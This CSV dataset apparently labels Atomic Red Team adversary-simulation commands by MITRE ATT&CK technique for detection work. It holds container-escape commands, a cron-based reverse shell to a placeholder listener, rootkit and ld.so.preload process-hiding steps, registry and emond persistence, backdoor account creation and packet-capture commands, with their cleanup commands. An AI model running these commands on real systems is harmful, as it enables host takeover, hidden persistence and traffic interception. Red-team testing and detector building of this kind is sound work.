fcf076f5d3b0b62d24aa6611,"Remove-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom"" -Name ""AtomicRedTeamT1546.011"" -ErrorAction Ignore Remove-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB"" -Name ""AtomicRedTeamT1546.011"" -ErrorAction Ignore","Remove-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom"" -Name ""AtomicRedTeamT1546.011"" -ErrorAction Ignore Remove-ItemProperty -Path HKLM:""\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB"" -Name ""AtomicRedTeamT1546.011"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.011/T1546.011.yaml,Registry key creation and/or modification events for SDB,T1546.011,"[""T1546.011""]",windows,0.55,True,"Create registry keys in locations where fin7 typically places SDB patches. Upon execution, output will be displayed describing
the registry keys that were created. These keys can also be viewed using the Registry Editor.

https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f07dc04af8bcc27487e2286b,"kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{""spec"":{""hostPID"": true, ""containers"":[{""name"":""1"",""image"":""alpine"",""command"":[""nsenter"",""--mount=/proc/1/ns/mnt"",""--"",""/bin/bash""],""stdin"": true,""tty"":true,""securityContext"":{""privileged"":true}}]}}'","kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{""spec"":{""hostPID"": true, ""containers"":[{""name"":""1"",""image"":""alpine"",""command"":[""nsenter"",""--mount=/proc/1/ns/mnt"",""--"",""/bin/bash""],""stdin"": true,""tty"":true,""securityContext"":{""privileged"":true}}]}}'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1611/T1611.yaml,Deploy container using nsenter container escape,T1611,"[""T1611""]",containers,0.9,False,"In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:
- https://twitter.c",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
21cf31a405c434a836527b2d,kubectl --context kind-atomic-cluster delete pod atomic-escape-pod,kubectl --context kind-atomic-cluster delete pod atomic-escape-pod,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1611/T1611.yaml,Deploy container using nsenter container escape,T1611,"[""T1611""]",containers,0.55,True,"In this escape `kubectl` is used to launch a new pod, with a container that has the host pids mapped into the container (`hostPID:true`). It uses the alpine linux container image. It runs with privilege on the host (`privileged:true`). When the container is launched the command `nsenter --mount=/proc/1/ns/mnt -- /bin/bash` is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container.

Additional Details:
- https://twitter.c",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a7988c6d10bfca59c18106da,"if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi echo -n ""* * * * * root /bin/bash -c '/bin/bash -c echo \""\""; echo \""hello from host! "" > #{mount_point}#{cron_path}/#{cron_filename} echo -n ""$"" >> #{mount_point}#{cron_path}/#{cron_filename} echo -n ""(hostname) "" >> #{mount_point}#{cron_path}/#{cron_filename} echo -n ""$"" >> #{mount_point}#{cron_path}/#{cron_filename} echo ""(id)\"" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'"" >> #{mount_point}#{cron_path}/#{cron_filename} netcat -l -p #{listen_port} 2>&1","if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi echo -n ""* * * * * root /bin/bash -c '/bin/bash -c echo \""\""; echo \""hello from host! "" > #{mount_point}#{cron_path}/#{cron_filename} echo -n ""$"" >> #{mount_point}#{cron_path}/#{cron_filename} echo -n ""(hostname) "" >> #{mount_point}#{cron_path}/#{cron_filename} echo -n ""$"" >> #{mount_point}#{cron_path}/#{cron_filename} echo ""(id)\"" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'"" >> #{mount_point}#{cron_path}/#{cron_filename} netcat -l -p #{listen_port} 2>&1",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1611/T1611.yaml,Mount host filesystem to escape privileged Docker container,T1611,"[""T1611""]",containers,0.9,False,"This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.
The container running the test needs be privileged.  It may take up to a minute for this to run due to how often crond triggers a job.
Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
fcaa7f811ddd35fd0f638913,rm #{mount_point}#{cron_path}/#{cron_filename} umount #{mount_point} rmdir #{mount_point},rm #{mount_point}#{cron_path}/#{cron_filename} umount #{mount_point} rmdir #{mount_point},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1611/T1611.yaml,Mount host filesystem to escape privileged Docker container,T1611,"[""T1611""]",containers,0.55,True,"This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser.
The container running the test needs be privileged.  It may take up to a minute for this to run due to how often crond triggers a job.
Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
970a6a1889b10678f56cd83f,"echo ""Current user: #{username}"" sudo -u docker_user sh -c ""sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id""","echo ""Current user: #{username}"" sudo -u docker_user sh -c ""sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1611/T1611.yaml,Privilege Escalation via Docker Volume Mapping,T1611,"[""T1611""]",containers,0.9,False,"This test demonstrates privilege escalation by abusing Docker's volume mapping
feature to gain access to the host file system. By mounting the root directory
of the host into a Docker container, the attacker can use chroot to operate as
root on the host system.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b39ddc2d7cfdfef52df20c58,"USERNAME=""#{username}""; SUDOERS_FILE=""/etc/sudoers.d/$USERNAME""; id ""$USERNAME"" &>/dev/null && userdel -r ""$USERNAME"" && echo -e ""$USERNAME is deleted.""; [[ -f ""$SUDOERS_FILE"" ]] && rm -f ""$SUDOERS_FILE""; echo ""Cleanup complete.""","USERNAME=""#{username}""; SUDOERS_FILE=""/etc/sudoers.d/$USERNAME""; id ""$USERNAME"" &>/dev/null && userdel -r ""$USERNAME"" && echo -e ""$USERNAME is deleted.""; [[ -f ""$SUDOERS_FILE"" ]] && rm -f ""$SUDOERS_FILE""; echo ""Cleanup complete.""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1611/T1611.yaml,Privilege Escalation via Docker Volume Mapping,T1611,"[""T1611""]",containers,0.55,True,"This test demonstrates privilege escalation by abusing Docker's volume mapping
feature to gain access to the host file system. By mounting the root directory
of the host into a Docker container, the attacker can use chroot to operate as
root on the host system.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
14c4b8e2f4e97e9be1c03b0c,Test-NetConnection -ComputerName #{domain} -port #{port},Test-NetConnection -ComputerName #{domain} -port #{port},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1571/T1571.yaml,Testing usage of uncommonly used port with PowerShell,T1571,"[""T1571""]",windows,0.9,False,"Testing uncommonly used port utilizing PowerShell. APT33 has been known to attempt telnet over port 8081. Upon execution, details about the successful
port check will be displayed.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2c6ef4461fd3760245b8459f,echo quit | telnet #{domain} #{port} exit 0,echo quit | telnet #{domain} #{port} exit 0,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1571/T1571.yaml,Testing usage of uncommonly used port,T1571,"[""T1571""]","linux,macos",0.9,False,"Testing uncommonly used port utilizing telnet.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
b264131ff71ba65a7a6a848a,sudo insmod #{rootkit_path}/#{rootkit_name}.ko,sudo insmod #{rootkit_path}/#{rootkit_name}.ko,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,Loadable Kernel Module based Rootkit,T1014,"[""T1014""]",linux,0.9,False,"Loadable Kernel Module based Rootkit
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9c8f26b2c1de6c9a56d647e3,sudo rmmod #{rootkit_name} sudo rm -rf #{rootkit_path},sudo rmmod #{rootkit_name} sudo rm -rf #{rootkit_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,Loadable Kernel Module based Rootkit,T1014,"[""T1014""]",linux,0.55,True,"Loadable Kernel Module based Rootkit
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7cc31af939b646b86e0840f9,sudo modprobe #{rootkit_name},sudo modprobe #{rootkit_name},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,Loadable Kernel Module based Rootkit,T1014,"[""T1014""]",linux,0.9,False,"Loadable Kernel Module based Rootkit
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
044e5e0ae2508bf974af4daf,sudo modprobe -r #{rootkit_name} sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko sudo depmod -a,sudo modprobe -r #{rootkit_name} sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko sudo depmod -a,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,Loadable Kernel Module based Rootkit,T1014,"[""T1014""]",linux,0.55,True,"Loadable Kernel Module based Rootkit
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ab898b0060a26cebaa7a270,"echo #{library_path} | tee -a /etc/ld.so.preload /usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo ""process hidden""","echo #{library_path} | tee -a /etc/ld.so.preload /usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo ""process hidden""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,dynamic-linker based rootkit (libprocesshider),T1014,"[""T1014""]",linux,0.9,False,"Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a4521e1d454f9dc2ffba2f3c,"sed -i ""\:^#{library_path}:d"" /etc/ld.so.preload rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic","sed -i ""\:^#{library_path}:d"" /etc/ld.so.preload rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,dynamic-linker based rootkit (libprocesshider),T1014,"[""T1014""]",linux,0.55,True,"Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006).
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9569e3a65e66d74b1012ac0e,"sudo modprobe #{rootkit_name} ping -c 10 localhost >/dev/null & TARGETPID=""$!"" ps $TARGETPID kill -31 $TARGETPID ps $TARGETPID || echo ""process ${TARGETPID} hidden""","sudo modprobe #{rootkit_name} ping -c 10 localhost >/dev/null & TARGETPID=""$!"" ps $TARGETPID kill -31 $TARGETPID ps $TARGETPID || echo ""process ${TARGETPID} hidden""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,Loadable Kernel Module based Rootkit (Diamorphine),T1014,"[""T1014""]",linux,0.9,False,"Loads Diamorphine kernel module, which hides itself and a processes.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a37d3ab8c48b2be26886e11b,kill -63 1 sudo modprobe -r #{rootkit_name} sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic sudo depmod -a,kill -63 1 sudo modprobe -r #{rootkit_name} sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic sudo depmod -a,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1014/T1014.yaml,Loadable Kernel Module based Rootkit (Diamorphine),T1014,"[""T1014""]",linux,0.55,True,"Loads Diamorphine kernel module, which hides itself and a processes.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8abe8d6abcf78be49a343c11,at 13:20 /interactive cmd,at 13:20 /interactive cmd,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.002/T1053.002.yaml,At.exe Scheduled task,T1053.002,"[""T1053.002""]",windows,0.9,False,"Executes cmd.exe
Note: deprecated in Windows 8+

Upon successful execution, cmd.exe will spawn at.exe and create a scheduled task that will spawn cmd at a specific time.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4cd226c5422c72b43161973b,"echo ""#{at_command}"" | at #{time_spec}","echo ""#{at_command}"" | at #{time_spec}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.002/T1053.002.yaml,At - Schedule a job,T1053.002,"[""T1053.002""]",linux,0.9,False,"This test submits a command to be run in the future by the `at` daemon.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f3943d7c5836c78de90dd66a,"kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc ""apt-get update -y >/dev/null 2>&1 && apt-get install -y at >/dev/null 2>&1 && (atd || /usr/sbin/atd) && echo '#{at_command}' | at #{time_spec} && at -l""","kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc ""apt-get update -y >/dev/null 2>&1 && apt-get install -y at >/dev/null 2>&1 && (atd || /usr/sbin/atd) && echo '#{at_command}' | at #{time_spec} && at -l""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1053.002/T1053.002.yaml,At - Schedule a job via kubectl in a Pod,T1053.002,"[""T1053.002""]",containers,0.9,False,"Launches a short-lived Ubuntu pod, installs the `at` utility, starts the `atd` daemon,
and submits a job with `at`. The pod is deleted after execution.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
618a0d01cd78e1bfbbcb80aa,tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface},tcpdump -c 5 -nnni #{interface} tshark -c 5 -i #{interface},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Packet Capture Linux using tshark or tcpdump,T1040,"[""T1040""]",linux,0.9,False,"Perform a PCAP. Wireshark will be required for tshark. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface ens33.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
d0650cdea10af768951d6aeb,"sudo tcpdump -c 5 -nnni #{interface} if [ -x ""$(command -v tshark)"" ]; then sudo tshark -c 5 -i #{interface}; fi;","sudo tcpdump -c 5 -nnni #{interface} if [ -x ""$(command -v tshark)"" ]; then sudo tshark -c 5 -i #{interface}; fi;",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Packet Capture macOS using tcpdump or tshark,T1040,"[""T1040""]",macos,0.9,False,"Perform a PCAP on macOS. This will require Wireshark/tshark to be installed. TCPdump may already be installed.

Upon successful execution, tshark or tcpdump will execute and capture 5 packets on interface en0A.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0a763f2bd1437361c5d241ab,"""c:\Program Files\Wireshark\tshark.exe"" -i #{interface} -c 5","""c:\Program Files\Wireshark\tshark.exe"" -i #{interface} -c 5",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Packet Capture Windows Command Prompt,T1040,"[""T1040""]",windows,0.9,False,"Perform a packet capture using the windows command prompt. This will require a host that has Wireshark/Tshark
installed.

Upon successful execution, tshark will execute and capture 5 packets on interface ""Ethernet"".
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fe37a7122e5235e1a5ec075,netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10,netsh trace start capture=yes tracefile=%temp%\trace.etl maxsize=10,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Windows Internal Packet Capture,T1040,"[""T1040""]",windows,0.9,False,"Uses the built-in Windows packet capture
After execution you should find a file named trace.etl and trace.cab in the temp directory",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35292b6faa538b9cccb7dc66,netsh trace stop >nul 2>&1 TIMEOUT /T 5 >nul 2>&1 del %temp%\trace.etl >nul 2>&1 del %temp%\trace.cab >nul 2>&1,netsh trace stop >nul 2>&1 TIMEOUT /T 5 >nul 2>&1 del %temp%\trace.etl >nul 2>&1 del %temp%\trace.cab >nul 2>&1,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Windows Internal Packet Capture,T1040,"[""T1040""]",windows,0.55,True,"Uses the built-in Windows packet capture
After execution you should find a file named trace.etl and trace.cab in the temp directory",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5d31dfb92fd18ff625d61410,pktmon.exe start --etw -f %TEMP%\t1040.etl TIMEOUT /T 5 >nul 2>&1 pktmon.exe stop,pktmon.exe start --etw -f %TEMP%\t1040.etl TIMEOUT /T 5 >nul 2>&1 pktmon.exe stop,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Windows Internal pktmon capture,T1040,"[""T1040""]",windows,0.9,False,"Will start a packet capture and store log file as t1040.etl.
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
37e11ede1ecd1d4859a058c2,del %TEMP%\t1040.etl,del %TEMP%\t1040.etl,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Windows Internal pktmon capture,T1040,"[""T1040""]",windows,0.55,True,"Will start a packet capture and store log file as t1040.etl.
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ab3f496609db557978294e6e,pktmon.exe filter add -p 445,pktmon.exe filter add -p 445,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Windows Internal pktmon set filter,T1040,"[""T1040""]",windows,0.9,False,"Select Desired ports for packet capture 
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69f453d638dbe01767ab3456,pktmon filter remove,pktmon filter remove,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Windows Internal pktmon set filter,T1040,"[""T1040""]",windows,0.55,True,"Select Desired ports for packet capture 
https://lolbas-project.github.io/lolbas/Binaries/Pktmon/",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8584546f384c068dec588db2,sudo #{program_path} -i #{ifname} -t 3,sudo #{program_path} -i #{ifname} -t 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Packet Capture macOS using /dev/bpfN with sudo,T1040,"[""T1040""]",macos,0.9,False,"Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9660640fc9cd42d1aace261a,rm -f #{program_path},rm -f #{program_path},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Packet Capture macOS using /dev/bpfN with sudo,T1040,"[""T1040""]",macos,0.55,True,"Opens a /dev/bpf file (O_RDONLY) and captures packets for a few seconds.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
9acd4c3cb2bc8813774a4d15,sudo #{program_path} -f -i #{ifname} -t 3,sudo #{program_path} -f -i #{ifname} -t 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,Filtered Packet Capture macOS using /dev/bpfN with sudo,T1040,"[""T1040""]",macos,0.9,False,"Opens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
0ff56c525aa073369e44889e,sudo #{program_path} -a -t 3,sudo #{program_path} -a -t 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,"Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo",T1040,"[""T1040""]",linux,0.9,False,"Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
adae27ea28c175af204a5564,sudo #{program_path} -4 -p 6 -t 3,sudo #{program_path} -4 -p 6 -t 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,"Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo",T1040,"[""T1040""]",linux,0.9,False,"Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2ecc1354177cee21cc5b2378,sudo #{program_path} -4 -P -p 17 -t 3,sudo #{program_path} -4 -P -p 17 -t 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,"Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo",T1040,"[""T1040""]",linux,0.9,False,"Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.
SOCK_PACKET is ""obsolete"" according to the man page, but still works on Ubuntu 20.04
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
35abd331dd742799bd1a390b,sudo #{program_path} -a -f -t 3,sudo #{program_path} -a -f -t 3,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,"Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo",T1040,"[""T1040""]",linux,0.9,False,"Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.
Sets a BPF filter on the socket to filter for UDP traffic.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
869296b5dcdb425b49c24eaf,"New-NetEventSession -Name Capture007 -LocalFilePath ""$ENV:Temp\sniff.etl"" Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100 Start-NetEventSession -Name Capture007 Stop-NetEventSession -Name Capture007 Remove-NetEventSession -Name Capture007","New-NetEventSession -Name Capture007 -LocalFilePath ""$ENV:Temp\sniff.etl"" Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100 Start-NetEventSession -Name Capture007 Stop-NetEventSession -Name Capture007 Remove-NetEventSession -Name Capture007",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,PowerShell Network Sniffing,T1040,"[""T1040""]",windows,0.9,False,"PowerShell Built-in Cmdlets to capture network traffic.
https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
aa297367adee01bacb289825,del $ENV:Temp\sniff.etl,del $ENV:Temp\sniff.etl,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1040/T1040.yaml,PowerShell Network Sniffing,T1040,"[""T1040""]",windows,0.55,True,"PowerShell Built-in Cmdlets to capture network traffic.
https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
7aaad100412f995294d30dd1,"sudo cp ""#{plist}"" /etc/emond.d/rules/T1546.014_emond.plist sudo touch /private/var/db/emondClients/T1546.014","sudo cp ""#{plist}"" /etc/emond.d/rules/T1546.014_emond.plist sudo touch /private/var/db/emondClients/T1546.014",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.014/T1546.014.yaml,Persistance with Event Monitor - emond,T1546.014,"[""T1546.014""]",macos,0.9,False,"Establish persistence via a rule run by OSX's emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3770fe5b2e940c846ba17ae7,sudo rm /etc/emond.d/rules/T1546.014_emond.plist sudo rm /private/var/db/emondClients/T1546.014,sudo rm /etc/emond.d/rules/T1546.014_emond.plist sudo rm /private/var/db/emondClients/T1546.014,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1546.014/T1546.014.yaml,Persistance with Event Monitor - emond,T1546.014,"[""T1546.014""]",macos,0.55,True,"Establish persistence via a rule run by OSX's emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
c9a8edcad38764ab8347f12f,useradd -M -N -r -s /bin/bash -c evil_account #{username},useradd -M -N -r -s /bin/bash -c evil_account #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a user account on a Linux system,T1136.001,"[""T1136.001""]",linux,0.9,False,"Create a user via useradd
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
f6944a638f3b2cc93af2bdbd,userdel #{username},userdel #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a user account on a Linux system,T1136.001,"[""T1136.001""]",linux,0.55,True,"Create a user via useradd
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
2dee604894e75aaebb79bfa3,pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account,pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account,bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a user account on a FreeBSD system,T1136.001,"[""T1136.001""]",linux,0.9,False,"Create a user via pw
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
11c9f95dd8650d6982e5ddb3,rmuser -y #{username},rmuser -y #{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a user account on a FreeBSD system,T1136.001,"[""T1136.001""]",linux,0.55,True,"Create a user via pw
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
41ca072ee530ed0264eb3b3b,"dscl . -create /Users/#{username} dscl . -create /Users/#{username} UserShell /bin/zsh dscl . -create /Users/#{username} RealName ""#{realname}"" dscl . -create /Users/#{username} UniqueID ""1010"" dscl . -create /Users/#{username} PrimaryGroupID 80 dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}","dscl . -create /Users/#{username} dscl . -create /Users/#{username} UserShell /bin/zsh dscl . -create /Users/#{username} RealName ""#{realname}"" dscl . -create /Users/#{username} UniqueID ""1010"" dscl . -create /Users/#{username} PrimaryGroupID 80 dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a user account on a MacOS system,T1136.001,"[""T1136.001""]",macos,0.9,False,"Creates a user on a MacOS system with dscl
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3fc826c7c491e379db53a863,dscl . -delete /Users/#{username},dscl . -delete /Users/#{username},bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1136.001/T1136.001.yaml,Create a user account on a MacOS system,T1136.001,"[""T1136.001""]",macos,0.55,True,"Creates a user on a MacOS system with dscl
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
